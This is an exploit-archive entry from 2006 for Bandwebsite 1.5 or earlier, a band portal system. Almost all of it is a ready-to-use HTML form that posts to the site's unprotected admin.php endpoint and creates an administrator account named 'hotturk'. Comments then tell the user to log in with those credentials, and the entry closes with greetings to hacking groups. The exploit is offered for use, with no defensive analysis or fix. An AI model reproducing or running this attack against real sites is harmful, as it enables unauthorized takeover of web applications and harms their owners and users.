Bandwebsite <= 1.5 (Login) Remote Add Admin Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Bandwebsite <= 1.5 (Login) Remote Add Admin Exploit
# Published : 2006-12-16
# Author : H0tTurk-
# Previous Title : extreme-fusion <= 4.02 Remote Code Execution Exploit
# Next Title : mxBB Module WebLinks <= 2.05 Remote Inclusion Vulnerability

<!--
- Product : Bandsite portal system
- Website : http://membres.lycos.fr/fluxx/bandwebsite.php 
- Author  : H0tTurk-

WebSiteVersion:1.x 
 - Problem : Admin Added Access.

Bandsite is an online portal system designed for Bands. Features: themes support, news posting, audio sections, guestbook, tour guide, an admin section to manage overall data and configurations, and more.
-->

      <TABLE cellSpacing=1 cellPadding=5 width=570 bgColor=#665E6B border=0>
        <TBODY>
        <tr><td bgcolor=#ffffff>
&nbsp;</p>
<p>
<form action=http://[target]/bandwebsite/admin.php?&Login=1&section=admins method=post>
   Name:<br>
<input type=text name='name' value='hotturk' size="20"><br>
   Pass:<br>
<input type=text name='pass' value='hotturk' size="20"><br>
<input type=submit name='submit' value='send'><br>
</form></TD></TR></TBODY></TABLE>
<P><BR></P></TD></TR></TBODY></TABLE></BODY>

<!--
Admin Added :)
http://[target]/bandwebsite/login.php
and login as admin 
name :hotturk
pass : hotturk

--------------------------------------------------------
Special Thx: Dr.Max.Virus,GencTurk,Str0ke,SawTurk,Chironex Fleckeri,Unique-key,KurtEfendy,MadConfig,R4zor,Arabian-FighterZ,And Ayyildiz ViP Soldiers 
                                       "BUNDAN OTESY YA YSTYKLAL YA OLUM"
-->

# www.Syue.com [2006-12-16]